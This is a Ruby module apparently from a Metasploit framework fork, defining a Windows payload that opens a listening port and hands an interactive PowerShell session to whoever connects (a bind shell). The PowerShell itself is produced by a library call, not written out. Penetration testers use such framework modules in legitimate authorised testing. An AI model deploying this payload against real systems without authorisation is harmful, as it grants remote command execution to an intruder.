metasploit-gs/modules/payloads/singles/windows/powershell_bind_tcp.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/powershell'

###
#
# Extends the Exec payload to run a powershell command
#
###
module MetasploitModule

  CachedSize = :dynamic

  include Msf::Payload::Windows::Exec
  include Rex::Powershell::Command
  include Msf::Payload::Windows::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Windows Interactive Powershell Session, Bind TCP',
      'Description'   => 'Listen for a connection and spawn an interactive powershell session',
      'Author'        =>
        [
          'Ben Turner', # benpturner
          'Dave Hardy' # davehardy20
        ],
      'References'    =>
        [
          ['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']
        ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::PowerShell,
      ))
  end

  #
  # Override the exec command string
  #
  def powershell_command
    generate_powershell_code("Bind")
  end
end